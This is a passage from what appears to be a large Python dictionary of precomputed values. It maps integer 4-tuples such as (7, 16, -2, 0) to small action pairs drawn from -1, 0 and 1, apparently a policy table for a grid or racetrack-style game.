15, 1, -4): (1, 1), (7, 15, 1, -3): (1, 1), (7, 15, 1, -2): (1, 1), (7, 15, 1, -1): (0, 1), (7, 15, 1, 0): (-1, 1), (7, 15, 1, 1): (0, 1), (7, 15, 1, 2): (-1, 1), (7, 15, 1, 3): (-1, 1), (7, 15, 1, 4): (-1, 0), (7, 15, 1, 5): (-1, -1), (7, 15, 2, -5): (1, 1), (7, 15, 2, -4): (1, 1), (7, 15, 2, -3): (1, 1), (7, 15, 2, -2): (1, 1), (7, 15, 2, -1): (1, 1), (7, 15, 2, 0): (-1, 1), (7, 15, 2, 1): (-1, 1), (7, 15, 2, 2): (-1, 1), (7, 15, 2, 3): (-1, 1), (7, 15, 2, 4): (-1, 0), (7, 15, 2, 5): (-1, -1), (7, 15, 3, -5): (0, 1), (7, 15, 3, -4): (0, 1), (7, 15, 3, -3): (0, 1), (7, 15, 3, -2): (0, 1), (7, 15, 3, -1): (0, 1), (7, 15, 3, 0): (0, 1), (7, 15, 3, 1): (0, 1), (7, 15, 3, 2): (0, 1), (7, 15, 3, 3): (-1, 1), (7, 15, 3, 4): (-1, 1), (7, 15, 3, 5): (-1, 1), (7, 15, 4, -5): (0, 1), (7, 15, 4, -4): (0, 1), (7, 15, 4, -3): (0, 1), (7, 15, 4, -2): (0, 1), (7, 15, 4, -1): (0, 1), (7, 15, 4, 0): (0, 1), (7, 15, 4, 1): (0, 1), (7, 15, 4, 2): (0, 1), (7, 15, 4, 3): (0, 0), (7, 15, 4, 4): (0, 1), (7, 15, 4, 5): (0, 1), (7, 15, 5, -5): (0, 1), (7, 15, 5, -4): (0, 1), (7, 15, 5, -3): (0, 1), (7, 15, 5, -2): (0, 1), (7, 15, 5, -1): (0, 1), (7, 15, 5, 0): (0, 1), (7, 15, 5, 1): (0, 1), (7, 15, 5, 2): (0, 1), (7, 15, 5, 3): (0, 0), (7, 15, 5, 4): (0, 1), (7, 15, 5, 5): (0, 1), (7, 16, -5, -5): (0, 1), (7, 16, -5, -4): (0, 1), (7, 16, -5, -3): (0, 1), (7, 16, -5, -2): (0, 1), (7, 16, -5, -1): (0, 1), (7, 16, -5, 0): (0, 1), (7, 16, -5, 1): (0, 1), (7, 16, -5, 2): (0, 0), (7, 16, -5, 3): (0, 1), (7, 16, -5, 4): (0, 1), (7, 16, -5, 5): (0, 1), (7, 16, -4, -5): (0, 1), (7, 16, -4, -4): (0, 1), (7, 16, -4, -3): (0, 1), (7, 16, -4, -2): (0, 1), (7, 16, -4, -1): (0, 1), (7, 16, -4, 0): (0, 1), (7, 16, -4, 1): (0, 1), (7, 16, -4, 2): (0, 0), (7, 16, -4, 3): (0, 1), (7, 16, -4, 4): (0, 1), (7, 16, -4, 5): (0, 1), (7, 16, -3, -5): (0, 1), (7, 16, -3, -4): (0, 1), (7, 16, -3, -3): (0, 1), (7, 16, -3, -2): (0, 1), (7, 16, -3, -1): (0, 1), (7, 16, -3, 0): (0, 1), (7, 16, -3, 1): (0, 1), (7, 16, -3, 2): (0, 0), (7, 16, -3, 3): (0, 1), (7, 16, -3, 4): (0, 1), (7, 16, -3, 5): (0, 1), (7, 16, -2, -5): (0, 1), (7, 16, -2, -4): (0, 1), (7, 16, -2, -3): (0, 1), (7, 16, -2, -2): (0, 1), (7, 16, -2, -1): (0, 1), (7, 16, -2, 0): (1, 1), (7, 16, -2, 1): (1, 1), (7, 16, -2, 2): (1, 1), (7, 16, -2, 3): (1, 1), (7, 16, -2, 4): (1, 1), (7, 16, -2, 5): (1, 0), (7, 16, -1, -5): (-1, 1), (7, 16, -1, -4): (-1, 1), (7, 16, -1, -3): (-1, 1), (7, 16, -1, -2): (-1, 1), (7, 16, -1, -1): (1, 1), (7, 16, -1, 0): (1, 1), (7, 16, -1, 1): (1, 1), (7, 16, -1, 2): (1, 1), (7, 16, -1, 3): (1, 1), (7, 16, -1, 4): (1, 1), (7, 16, -1, 5): (1, 0), (7, 16, 0, -5): (-1, 1), (7, 16, 0, -4): (-1, 1), (7, 16, 0, -3): (-1, 1), (7, 16, 0, -2): (-1, 1), (7, 16, 0, -1): (1, 1), (7, 16, 0, 0): (1, 1), (7, 16, 0, 1): (0, 1), (7, 16, 0, 2): (0, 1), (7, 16, 0, 3): (0, 1), (7, 16, 0, 4): (0, 1), (7, 16, 0, 5): (0, 1), (7, 16, 1, -5): (1, 1), (7, 16, 1, -4): (1, 1), (7, 16, 1, -3): (1, 1), (7, 16, 1, -2): (1, 1), (7, 16, 1, -1): (0, 1), (7, 16, 1, 0): (0, 1), (7, 16, 1, 1): (-1, 1), (7, 16, 1, 2): (-1, 1), (7, 16, 1, 3): (-1, 1), (7, 16, 1, 4): (-1, 1), (7, 16, 1, 5): (-1, 1), (7, 16, 2, -5): (1, 1), (7, 16, 2, -4): (1, 1), (7, 16, 2, -3): (1, 1), (7, 16, 2, -2): (1, 1), (7, 16, 2, -1): (1, 1), (7, 16, 2, 0): (-1, 1), (7, 16, 2, 1): (-1, 1), (7, 16, 2, 2): (-1, 1), (7, 16, 2, 3): (-1, 1), (7, 16, 2, 4): (0, 1), (7, 16, 2, 5): (0, 1), (7, 16, 3, -5): (0, 1), (7, 16, 3, -4): (0, 1), (7, 16, 3, -3): (0, 1), (7, 16, 3, -2): (0, 1), (7, 16, 3, -1): (0, 1), (7, 16, 3, 0): (0, 1), (7, 16, 3, 1): (0, 1), (7, 16, 3, 2): (-1, 1), (7, 16, 3, 3): (-1, 1), (7, 16, 3, 4): (-1, 1), (7, 16, 3, 5): (-1, 1), (7, 16, 4, -5): (0, 1), (7, 16, 4, -4): (0, 1), (7, 16, 4, -3): (0, 1), (7, 16, 4, -2): (0, 1), (7, 16, 4, -1): (0, 1), (7, 16, 4, 0): (0, 1), (7, 16, 4, 1): (0, 1), (7, 16, 4, 2): (0, 0), (7, 16, 4, 3): (0, 1), (7, 16, 4, 4): (0, 1), (7, 16, 4, 5): (0, 1), (7, 16, 5, -5): (0, 1), (7, 16, 5, -4): (0, 1), (7, 16, 5, -3): (0, 1), (7, 16, 5, -2): (0, 1), (7, 16, 5, -1): (0, 1), (7, 16, 5, 0): (0, 1), (7, 16, 5, 1): (0, 1), (7, 16, 5, 2): (0, 0), (7, 16, 5, 3): (0, 1), (7, 16, 5, 4): (0, 1), (7, 16, 5, 5): (0, 1), (7, 17, -5, -5): (0, 1), (7, 17, -5, -4): (0, 1), (7, 17, -5, -3): (0, 1), (7, 17, -5, -2): (0, 1), (7, 17, -5, -1): (0, 1), (7, 17, -5, 0): (0, 1), (7, 17, -5, 1): (0, 0), (7, 17, -5, 2): (0, 1), (7, 17, -5, 3): (0, 1), (7, 17, -5, 4): (0, 1), (7, 17, -5, 5): (0, 1), (7, 17, -4, -5): (0, 1), (7, 17, -4, -4): (0, 1), (7, 17, -4, -3): (0, 1), (7, 17, -4, -2): (0, 1), (7, 17, -4, -1): (0, 1), (7, 17, -4, 0): (0, 1), (7, 17, -4, 1): (0, 0), (7, 17, -4, 2): (0, 1), (7, 17, -4, 3): (0, 1), (7, 17, -4, 4): (0, 1), (7, 17, -4, 5): (0, 1), (7, 17, -3, -5): (0, 1), (7, 17, -3, -4): (0, 1), (7, 17, -3, -3): (0, 1), (7, 17, -3, -2): (0, 1), (7, 17, -3, -1): (0, 1), (7, 17, -3, 0): (0, 1), (7, 17, -3, 1): (0, 0), (7, 17, -3, 2): (0, 1), (7, 17, -3, 3): (0, 1), (7, 17, -3, 4): (0, 1), (7, 17, -3, 5): (0, 1), (7, 17, -2, -5): (0, 1), (7, 17, -2, -4): (0, 1), (7, 17, -2, -3): (0, 1), (7, 17, -2, -2): (0, 1), (7, 17, -2, -1): (0, 1), (7, 17, -2, 0): (0, 1), (7, 17, -2, 1): (1, 1), (7, 17, -2, 2): (1, 1), (7, 17, -2, 3): (1, 1), (7, 17, -2, 4): (1, 1), (7, 17, -2, 5): (1, 0), (7, 17, -1, -5): (-1, 1), (7, 17, -1, -4): (-1, 1), (7, 17, -1, -3): (-1, 1), (7, 17, -1, -2): (-1, 1), (7, 17, -1, -1): (1, 1), (7, 17, -1, 0): (1, 1), (7, 17, -1, 1): (1, 1), (7, 17, -1, 2): (1, 1), (7, 17, -1, 3): (1, 1), (7, 17, -1, 4): (1, 1), (7, 17, -1, 5): (1, 0), (7, 17, 0, -5): (-1, 1), (7, 17, 0, -4): (-1, 1), (7, 17, 0, -3): (-1, 1), (7, 17, 0, -2): (1, 1), (7, 17, 0, -1): (1, 1), (7, 17, 0, 0): (0, 1), (7, 17, 0, 1): (0, 1), (7, 17, 0, 2): (0, 1), (7, 17, 0, 3): (0, 1), (7, 17, 0, 4): (0, 1), (7, 17, 0, 5): (0, 1), (7, 17, 1, -5): (1, 1), (7, 17, 1, -4): (1, 1), (7, 17, 1, -3): (1, 1), (7, 17, 1, -2): (1, 1), (7, 17, 1, -1): (0, 1), (7, 17, 1, 0): (-1, 1), (7, 17, 1, 1): (-1, 1), (7, 17, 1, 2): (-1, 1), (7, 17, 1, 3): (-1, 1), (7, 17, 1, 4): (-1, 1), (7, 17, 1, 5): (-1, 1), (7, 17, 2, -5): (1, 1), (7, 17, 2, -4): (1, 1), (7, 17, 2, -3): (1, 1), (7, 17, 2, -2): (1, 1), (7, 17, 2, -1): (1, 1), (7, 17, 2, 0): (-1, 1), (7, 17, 2, 1): (-1, 1), (7, 17, 2, 2): (-1, 1), (7, 17, 2, 3): (-1, 1), (7, 17, 2, 4): (0, 1), (7, 17, 2, 5): (0, 1), (7, 17, 3, -5): (0, 1), (7, 17, 3, -4): (0, 1), (7, 17, 3, -3): (0, 1), (7, 17, 3, -2): (0, 1), (7, 17, 3, -1): (0, 1), (7, 17, 3, 0): (0, 1), (7, 17, 3, 1): (0, 0), (7, 17, 3, 2): (-1, 1), (7, 17, 3, 3): (-1, 1), (7, 17, 3, 4): (-1, 1), (7, 17, 3, 5): (-1, 1), (7, 17, 4, -5): (0, 1), (7, 17, 4, -4): (0, 1), (7, 17, 4, -3): (0, 1), (7, 17, 4, -2): (0, 1), (7, 17, 4, -1): (0, 1), (7, 17, 4, 0): (0, 1), (7, 17, 4, 1): (0, 0), (7, 17, 4, 2): (0, 1), (7, 17, 4, 3): (0, 1), (7, 17, 4, 4): (0, 1), (7, 17, 4, 5): (0, 1), (7, 17, 5, -5): (0, 1), (7, 17, 5, -4): (0, 1), (7, 17, 5, -3): (0, 1), (7, 17, 5, -2): (0, 1), (7, 17, 5, -1): (0, 1), (7, 17, 5, 0): (0, 1), (7, 17, 5, 1): (0, 0), (7, 17, 5, 2): (0, 1), (7, 17, 5, 3): (0, 1), (7, 17, 5, 4): (0, 1), (7, 17, 5, 5): (0, 1), (7, 18, -5, -5): (0, 1), (7, 18, -5, -4): (0, 1), (7, 18, -5, -3): (0, 1), (7, 18, -5, -2): (0, 1), (7, 18, -5, -1): (0, 1), (7, 18, -5, 0): (0, 0), (7, 18, -5, 1): (0, 1), (7, 18, -5, 2): (0, 1), (7, 18, -5, 3): (0, 1), (7, 18, -5, 4): (0, 1), (7, 18, -5, 5): (0, 1), (7, 18, -4, -5): (0, 1), (7, 18, -4, -4): (0, 1), (7, 18, -4, -3): (0, 1), (7, 18, -4, -2): (0, 1), (7, 18, -4, -1): (0, 1), (7, 18, -4, 0): (0, 0), (7, 18, -4, 1): (0, 1), (7, 18, -4, 2): (0, 1), (7, 18, -4, 3): (0, 1), (7, 18, -4, 4): (0, 1), (7, 18, -4, 5): (0, 1), (7, 18, -3, -5): (0, 1), (7, 18, -3, -4): (0, 1), (7, 18, -3, -3): (0, 1), (7, 18, -3, -2): (0, 1), (7, 18, -3, -1): (0, 1), (7, 18, -3, 0): (0, 0), (7, 18, -3, 1): (0, 1), (7, 18, -3, 2): (0, 1), (7, 18, -3, 3): (0, 1), (7, 18, -3, 4): (0, 1), (7, 18, -3, 5): (0, 1), (7, 18, -2, -5): (0, 1), (7, 18, -2, -4): (0, 1), (7, 18, -2, -3): (0, 1), (7, 18, -2, -2): (0, 1), (7, 18, -2, -1): (0, 1), (7, 18, -2, 0): (0, 0), (7, 18, -2, 1): (1, 1), (7, 18, -2, 2): (1, 1), (7, 18, -2, 3): (1, 1), (7, 18, -2, 4): (1, 1), (7, 18, -2, 5): (1, 0), (7, 18, -1, -5): (-1, 1), (7, 18, -1, -4): (-1, 1), (7, 18, -1, -3): (-1, 1), (7, 18, -1, -2): (-1, 1), (7, 18, -1, -1): (-1, 1), (7, 18, -1, 0): (1, 1), (7, 18, -1, 1): (1, 1), (7, 18, -1, 2): (1, 1), (7, 18, -1, 3): (1, 1), (7, 18, -1, 4): (1, 1), (7, 18, -1, 5): (1, 0), (7, 18, 0, -5): (-1, 1), (7, 18, 0, -4): (-1, 1), (7, 18, 0, -3): (-1, 1), (7, 18, 0, -2): (1, 1), (7, 18, 0, -1): (1, 1), (7, 18, 0, 0): (0, 1), (7, 18, 0, 1): (0, 1), (7, 18, 0, 2): (0, 1), (7, 18, 0, 3): (0, 1), (7, 18, 0, 4): (0, 1), (7, 18, 0, 5): (0, 1), (7, 18, 1, -5): (1, 1), (7, 18, 1, -4): (1, 1), (7, 18, 1, -3): (1, 1), (7, 18, 1, -2): (1, 1), (7, 18, 1, -1): (0, 1), (7, 18, 1, 0): (-1, 1), (7, 18, 1, 1): (-1, 1), (7, 18, 1, 2): (-1, 1), (7, 18, 1, 3): (-1, 1), (7, 18, 1, 4): (-1, 1), (7, 18, 1, 5): (-1, 1), (7, 18, 2, -5): (1, 1), (7, 18, 2, -4): (1, 1), (7, 18, 2, -3): (1, 1), (7, 18, 2, -2): (1, 1), (7, 18, 2, -1): (1, 1), (7, 18, 2, 0): (-1, 1), (7, 18, 2, 1): (-1, 1), (7, 18, 2, 2): (-1, 1), (7, 18, 2, 3): (0, 1), (7, 18, 2, 4): (0, 1), (7, 18, 2, 5): (0, 1), (7, 18, 3, -5): (0, 1), (7, 18, 3, -4): (0, 1), (7, 18, 3, -3): (0, 1), (7, 18, 3, -2): (0, 1), (7, 18, 3, -1): (0, 1), (7, 18, 3, 0): (0, 0), (7, 18, 3, 1): (-1, 1), (7, 18, 3, 2): (-1, 1), (7, 18, 3, 3): (-1, 1), (7, 18, 3, 4): (-1, 1), (7, 18, 3, 5): (-1, 1), (7, 18, 4, -5): (0, 1), (7, 18, 4, -4): (0, 1), (7, 18, 4, -3): (0, 1), (7, 18, 4, -2): (0, 1), (7, 18, 4, -1): (0, 1), (7, 18, 4, 0): (0, 0), (7, 18, 4, 1): (0, 1), (7, 18, 4, 2): (0, 1), (7, 18, 4, 3): (0, 1), (7, 18, 4, 4): (0, 1), (7, 18, 4, 5): (0, 1), (7, 18, 5, -5): (0, 1), (7, 18, 5, -4): (0, 1), (7, 18, 5, -3): (0, 1), (7, 18, 5, -2): (0, 1), (7, 18, 5, -1): (0, 1), (7, 18, 5, 0): (0, 0), (7, 18, 5, 1): (0, 1), (7, 18, 5, 2): (0, 1), (7, 18, 5, 3): (0, 1), (7, 18, 5, 4): (0, 1), (7, 18, 5, 5): (0, 1), (7, 19, -5, -5): (0, 1), (7, 19, -5, -4): (0, 1), (7, 19, -5, -3): (0, 1), (7, 19, -5, -2): (0, 1), (7, 19, -5, -1): (0, 0), (7, 19, -5, 0): (0, 1), (7, 19, -5, 1): (0, 1), (7, 19, -5, 2): (0, 1), (7, 19, -5, 3): (0, 1), (7, 19, -5, 4): (0, 1), (7, 19, -5, 5): (0, 1), (7, 19, -4, -5): (0, 1), (7, 19, -4, -4): (0, 1), (7, 19, -4, -3): (0, 1), (7, 19, -4, -2): (0, 1), (7, 19, -4, -1): (0, 0), (7, 19, -4, 0): (0, 1), (7, 19, -4, 1): (0, 1), (7, 19, -4, 2): (0, 1), (7, 19, -4, 3): (0, 1), (7, 19, -4, 4): (0, 1), (7, 19, -4, 5): (0, 1), (7, 19, -3, -5): (0, 1), (7, 19, -3, -4): (0, 1), (7, 19, -3, -3): (0, 1), (7, 19, -3, -2): (0, 1), (7, 19, -3, -1): (0, 0), (7, 19, -3, 0): (0, 1), (7, 19, -3, 1): (0, 1), (7, 19, -3, 2): (0, 1), (7, 19, -3, 3): (0, 1), (7, 19, -3, 4): (0, 1), (7, 19, -3, 5): (0, 1), (7, 19, -2, -5): (0, 1), (7, 19, -2, -4): (0, 1), (7, 19, -2, -3): (0, 1), (7, 19, -2, -2): (0, 1), (7, 19, -2, -1): (0, 0), (7, 19, -2, 0): (0, 1), (7, 19, -2, 1): (1, 1), (7, 19, -2, 2): (1, 1), (7, 19, -2, 3): (1, 1), (7, 19, -2, 4): (1, 1), (7, 19, -2, 5): (1, 0), (7, 19, -1, -5): (-1, 1), (7, 19, -1, -4): (-1, 1), (7, 19, -1, -3): (-1, 1), (7, 19, -1, -2): (-1, 1), (7, 19, -1, -1): (1, 1), (7, 19, -1, 0): (1, 1), (7, 19, -1, 1): (1, 1), (7, 19, -1, 2): (1, 1), (7, 19, -1, 3): (1, 1), (7, 19, -1, 4): (1, 0), (7, 19, -1, 5): (1, -1), (7, 19, 0, -5): (-1, 1), (7, 19, 0, -4): (-1, 1), (7, 19, 0, -3): (1, 1), (7, 19, 0, -2): (1, 1), (7, 19, 0, -1): (1, 1), (7, 19, 0, 0): (1, 1), (7, 19, 0, 1): (0, 1), (7, 19, 0, 2): (0, 1), (7, 19, 0, 3): (0, 1), (7, 19, 0, 4): (0, 0), (7, 19, 0, 5): (0, -1), (7, 19, 1, -5): (1, 1), (7, 19, 1, -4): (1, 1), (7, 19, 1, -3): (1, 1), (7, 19, 1, -2): (1, 1), (7, 19, 1, -1): (0, 1), (7, 19, 1, 0): (0, 1), (7, 19, 1, 1): (-1, 1), (7, 19, 1, 2): (-1, 1), (7, 19, 1, 3): (-1, 1), (7, 19, 1, 4): (-1, 0), (7, 19, 1, 5): (-1, -1), (7, 19, 2, -5): (1, 1), (7, 19, 2, -4): (1, 1), (7, 19, 2, -3): (1, 1), (7, 19, 2, -2): (1, 1), (7, 19, 2, -1): (1, 0), (7, 19, 2, 0): (-1, 1), (7, 19, 2, 1): (-1, 1), (7, 19, 2, 2): (-1, 1), (7, 19, 2, 3): (0, 1), (7, 19, 2, 4): (0, 1), (7, 19, 2, 5): (0, 1), (7, 19, 3, -5): (0, 1), (7, 19, 3, -4): (0, 1), (7, 19, 3, -3): (0, 1), (7, 19, 3, -2): (0, 1), (7, 19, 3, -1): (0, 0), (7, 19, 3, 0): (0, 1), (7, 19, 3, 1): (-1, 1), (7, 19, 3, 2): (-1, 1), (7, 19, 3, 3): (-1, 1), (7, 19, 3, 4): (-1, 1), (7, 19, 3, 5): (-1, 1), (7, 19, 4, -5): (0, 1), (7, 19, 4, -4): (0, 1), (7, 19, 4, -3): (0, 1), (7, 19, 4, -2): (0, 1), (7, 19, 4, -1): (0, 0), (7, 19, 4, 0): (0, 1), (7, 19, 4, 1): (0, 1), (7, 19, 4, 2): (0, 1), (7, 19, 4, 3): (0, 1), (7, 19, 4, 4): (0, 1), (7, 19, 4, 5): (0, 1), (7, 19, 5, -5): (0, 1), (7, 19, 5, -4): (0, 1), (7, 19, 5, -3): (0, 1), (7, 19, 5, -2): (0, 1), (7, 19, 5, -1): (0, 0), (7, 19, 5, 0): (0, 1), (7, 19, 5, 1): (0, 1), (7, 19, 5, 2): (0, 1), (7, 19, 5, 3): (0, 1), (7, 19, 5, 4): (0, 1), (7, 19, 5, 5): (0, 1), (7, 20, -5, -5): (0, 1), (7, 20, -5, -4): (0, 1), (7, 20, -5, -3): (0, 1), (7, 20, -5, -2): (0, 0), (7, 20, -5, -1): (0, 1), (7, 20, -5, 0): (0, 1), (7, 20, -5, 1): (0, 1), (7, 20, -5, 2): (0, 1), (7, 20, -5, 3): (0, 1), (7, 20, -5, 4): (0, 1), (7, 20, -5, 5): (0, 1), (7, 20, -4, -5): (0, 1), (7, 20, -4, -4): (0, 1), (7, 20, -4, -3): (0, 1), (7, 20, -4, -2): (0, 0), (7, 20, -4, -1): (0, 1), (7, 20, -4, 0): (0, 1), (7, 20, -4, 1): (0, 1), (7, 20, -4, 2): (0, 1), (7, 20, -4, 3): (0, 1), (7, 20, -4, 4): (0, 1), (7, 20, -4, 5): (0, 1), (7, 20, -3, -5): (0, 1), (7, 20, -3, -4): (0, 1), (7, 20, -3, -3): (0, 1), (7, 20, -3, -2): (0, 0), (7, 20, -3, -1): (0, 1), (7, 20, -3, 0): (0, 1), (7, 20, -3, 1): (0, 1), (7, 20, -3, 2): (0, 1), (7, 20, -3, 3): (0, 1), (7, 20, -3, 4): (0, 1), (7, 20, -3, 5): (0, 1), (7, 20, -2, -5): (0, 1), (7, 20, -2, -4): (0, 1), (7, 20, -2, -3): (0, 1), (7, 20, -2, -2): (0, 0), (7, 20, -2, -1): (0, 1), (7, 20, -2, 0): (1, 1), (7, 20, -2, 1): (1, 1), (7, 20, -2, 2): (1, 1), (7, 20, -2, 3): (1, 1), (7, 20, -2, 4): (1, 1), (7, 20, -2, 5): (1, 0), (7, 20, -1, -5): (-1, 1), (7, 20, -1, -4): (-1, 1), (7, 20, -1, -3): (-1, 1), (7, 20, -1, -2): (-1, 0), (7, 20, -1, -1): (1, 1), (7, 20, -1, 0): (1, 1), (7, 20, -1, 1): (1, 1), (7, 20, -1, 2): (1, 1), (7, 20, -1, 3): (1, 1), (7, 20, -1, 4): (1, 0), (7, 20, -1, 5): (1, -1), (7, 20, 0, -5): (-1, 1), (7, 20, 0, -4): (-1, 1), (7, 20, 0, -3): (1, 1), (7, 20, 0, -2): (1, 1), (7, 20, 0, -1): (1, 1), (7, 20, 0, 0): (1, 1), (7, 20, 0, 1): (0, 1), (7, 20, 0, 2): (0, 1), (7, 20, 0, 3): (0, 1), (7, 20, 0, 4): (0, 0), (7, 20, 0, 5): (0, -1), (7, 20, 1, -5): (1, 1), (7, 20, 1, -4): (1, 1), (7, 20, 1, -3): (1, 1), (7, 20, 1, -2): (1, 1), (7, 20, 1, -1): (0, 1), (7, 20, 1, 0): (0, 1), (7, 20, 1, 1): (-1, 1), (7, 20, 1, 2): (-1, 1), (7, 20, 1, 3): (-1, 1), (7, 20, 1, 4): (-1, 0), (7, 20, 1, 5): (-1, -1), (7, 20, 2, -5): (1, 1), (7, 20, 2, -4): (1, 1), (7, 20, 2, -3): (1, 1), (7, 20, 2, -2): (1, 0), (7, 20, 2, -1): (1, 1), (7, 20, 2, 0): (-1, 1), (7, 20, 2, 1): (-1, 1), (7, 20, 2, 2): (0, 1), (7, 20, 2, 3): (0, 1), (7, 20, 2, 4): (0, 1), (7, 20, 2, 5): (0, 1), (7, 20, 3, -5): (0, 1), (7, 20, 3, -4): (0, 1), (7, 20, 3, -3): (0, 1), (7, 20, 3, -2): (0, 0), (7, 20, 3, -1): (0, 1), (7, 20, 3, 0): (0, 1), (7, 20, 3, 1): (0, 1), (7, 20, 3, 2): (-1, 1), (7, 20, 3, 3): (-1, 1), (7, 20, 3, 4): (-1, 1), (7, 20, 3, 5): (-1, 1), (7, 20, 4, -5): (0, 1), (7, 20, 4, -4): (0, 1), (7, 20, 4, -3): (0, 1), (7, 20, 4, -2): (0, 0), (7, 20, 4, -1): (0, 1), (7, 20, 4, 0): (0, 1), (7, 20, 4, 1): (0, 1), (7, 20, 4, 2): (0, 1), (7, 20, 4, 3): (0, 1), (7, 20, 4, 4): (0, 1), (7, 20, 4, 5): (0, 1), (7, 20, 5, -5): (0, 1), (7, 20, 5, -4): (0, 1), (7, 20, 5, -3): (0, 1), (7, 20, 5, -2): (0, 0), (7, 20, 5, -1): (0, 1), (7, 20, 5, 0): (0, 1), (7, 20, 5, 1): (0, 1), (7, 20, 5, 2): (0, 1), (7, 20, 5, 3): (0, 1), (7, 20, 5, 4): (0, 1), (7, 20, 5, 5): (0, 1), (7, 21, -5, -5): (0, 1), (7, 21, -5, -4): (0, 1), (7, 21, -5, -3): (0, 0), (7, 21, -5, -2): (0, 1), (7, 21, -5, -1): (0, 1), (7, 21, -5, 0): (0, 1), (7, 21, -5, 1): (0, 1), (7, 21, -5, 2): (0, 1), (7, 21, -5, 3): (0, 1), (7, 21, -5, 4): (0, 1), (7, 21, -5, 5): (0, 1), (7, 21, -4, -5): (0, 1), (7, 21, -4, -4): (0, 1), (7, 21, -4, -3): (0, 0), (7, 21, -4, -2): (0, 1), (7, 21, -4, -1): (0, 1), (7, 21, -4, 0): (0, 1), (7, 21, -4, 1): (0, 1), (7, 21, -4, 2): (0, 1), (7, 21, -4, 3): (0, 1), (7, 21, -4, 4): (0, 1), (7, 21, -4, 5): (0, 1), (7, 21, -3, -5): (0, 1), (7, 21, -3, -4): (0, 1), (7, 21, -3, -3): (0, 0), (7, 21, -3, -2): (0, 1), (7, 21, -3, -1): (0, 1), (7, 21, -3, 0): (0, 1), (7, 21, -3, 1): (0, 1), (7, 21, -3, 2): (0, 1), (7, 21, -3, 3): (0, 1), (7, 21, -3, 4): (0, 1), (7, 21, -3, 5): (0, 1), (7, 21, -2, -5): (0, 1), (7, 21, -2, -4): (0, 1), (7, 21, -2, -3): (0, 0), (7, 21, -2, -2): (0, 1), (7, 21, -2, -1): (0, 1), (7, 21, -2, 0): (0, 1), (7, 21, -2, 1): (1, 1), (7, 21, -2, 2): (1, 1), (7, 21, -2, 3): (1, 1), (7, 21, -2, 4): (1, 1), (7, 21, -2, 5): (1, 0), (7, 21, -1, -5): (-1, 1), (7, 21, -1, -4): (-1, 1), (7, 21, -1, -3): (-1, 0), (7, 21, -1, -2): (-1, 1), (7, 21, -1, -1): (1, 1), (7, 21, -1, 0): (1, 1), (7, 21, -1, 1): (1, 1), (7, 21, -1, 2): (1, 1), (7, 21, -1, 3): (1, 0), (7, 21, -1, 4): (0, 1), (7, 21, -1, 5): (0, 1), (7, 21, 0, -5): (-1, 1), (7, 21, 0, -4): (1, 1), (7, 21, 0, -3): (1, 1), (7, 21, 0, -2): (1, 1), (7, 21, 0, -1): (1, 1), (7, 21, 0, 0): (0, 1), (7, 21, 0, 1): (0, 1), (7, 21, 0, 2): (0, 1), (7, 21, 0, 3): (0, 0), (7, 21, 0, 4): (-1, 1), (7, 21, 0, 5): (-1, 1), (7, 21, 1, -5): (1, 1), (7, 21, 1, -4): (1, 1), (7, 21, 1, -3): (1, 1), (7, 21, 1, -2): (1, 1), (7, 21, 1, -1): (0, 1), (7, 21, 1, 0): (-1, 1), (7, 21, 1, 1): (-1, 1), (7, 21, 1, 2): (-1, 1), (7, 21, 1, 3): (-1, 0), (7, 21, 1, 4): (-1, -1), (7, 21, 1, 5): (-1, -1), (7, 21, 2, -5): (1, 1), (7, 21, 2, -4): (1, 1), (7, 21, 2, -3): (1, 0), (7, 21, 2, -2): (1, 1), (7, 21, 2, -1): (1, 1), (7, 21, 2, 0): (-1, 1), (7, 21, 2, 1): (-1, 1), (7, 21, 2, 2): (0, 1), (7, 21, 2, 3): (0, 1), (7, 21, 2, 4): (1, 1), (7, 21, 2, 5): (1, 0), (7, 21, 3, -5): (0, 1), (7, 21, 3, -4): (0, 1), (7, 21, 3, -3): (0, 0), (7, 21, 3, -2): (0, 1), (7, 21, 3, -1): (0, 1), (7, 21, 3, 0): (0, 1), (7, 21, 3, 1): (0, 1), (7, 21, 3, 2): (-1, 1), (7, 21, 3, 3): (-1, 1), (7, 21, 3, 4): (0, 1), (7, 21, 3, 5): (0, 1), (7, 21, 4, -5): (0, 1), (7, 21, 4, -4): (0, 1), (7, 21, 4, -3): (0, 0), (7, 21, 4, -2): (0, 1), (7, 21, 4, -1): (0, 1), (7, 21, 4, 0): (0, 1), (7, 21, 4, 1): (0, 1), (7, 21, 4, 2): (0, 1), (7, 21, 4, 3): (0, 1), (7, 21, 4, 4): (0, 1), (7, 21, 4, 5): (0, 1), (7, 21, 5, -5): (0, 1), (7, 21, 5, -4): (0, 1), (7, 21, 5, -3): (0, 0), (7, 21, 5, -2): (0, 1), (7, 21, 5, -1): (0, 1), (7, 21, 5, 0): (0, 1), (7, 21, 5, 1): (0, 1), (7, 21, 5, 2): (0, 1), (7, 21, 5, 3): (0, 1), (7, 21, 5, 4): (0, 1), (7, 21, 5, 5): (0, 1), (7, 22, -5, -5): (0, 1), (7, 22, -5, -4): (0, 0), (7, 22, -5, -3): (0, 1), (7, 22, -5, -2): (0, 1), (7, 22, -5, -1): (0, 1), (7, 22, -5, 0): (0, 1), (7, 22, -5, 1): (0, 1), (7, 22, -5, 2): (0, 1), (7, 22, -5, 3): (0, 1), (7, 22, -5, 4): (0, 1), (7, 22, -5, 5): (0, 1), (7, 22, -4, -5): (0, 1), (7, 22, -4, -4): (0, 0), (7, 22, -4, -3): (0, 1), (7, 22, -4, -2): (0, 1), (7, 22, -4, -1): (0, 1), (7, 22, -4, 0): (0, 1), (7, 22, -4, 1): (0, 1), (7, 22, -4, 2): (0, 1), (7, 22, -4, 3): (0, 1), (7, 22, -4, 4): (0, 1), (7, 22, -4, 5): (0, 1), (7, 22, -3, -5): (0, 1), (7, 22, -3, -4): (0, 0), (7, 22, -3, -3): (0, 1), (7, 22, -3, -2): (0, 1), (7, 22, -3, -1): (0, 1), (7, 22, -3, 0): (0, 1), (7, 22, -3, 1): (0, 1), (7, 22, -3, 2): (0, 1), (7, 22, -3, 3): (0, 1), (7, 22, -3, 4): (0, 1), (7, 22, -3, 5): (0, 1), (7, 22, -2, -5): (0, 1), (7, 22, -2, -4): (0, 0), (7, 22, -2, -3): (0, 1), (7, 22, -2, -2): (0, 1), (7, 22, -2, -1): (0, 1), (7, 22, -2, 0): (0, 1), (7, 22, -2, 1): (1, 1), (7, 22, -2, 2): (1, 1), (7, 22, -2, 3): (1, 1), (7, 22, -2, 4): (1, 1), (7, 22, -2, 5): (1, 0), (7, 22, -1, -5): (-1, 1), (7, 22, -1, -4): (-1, 0), 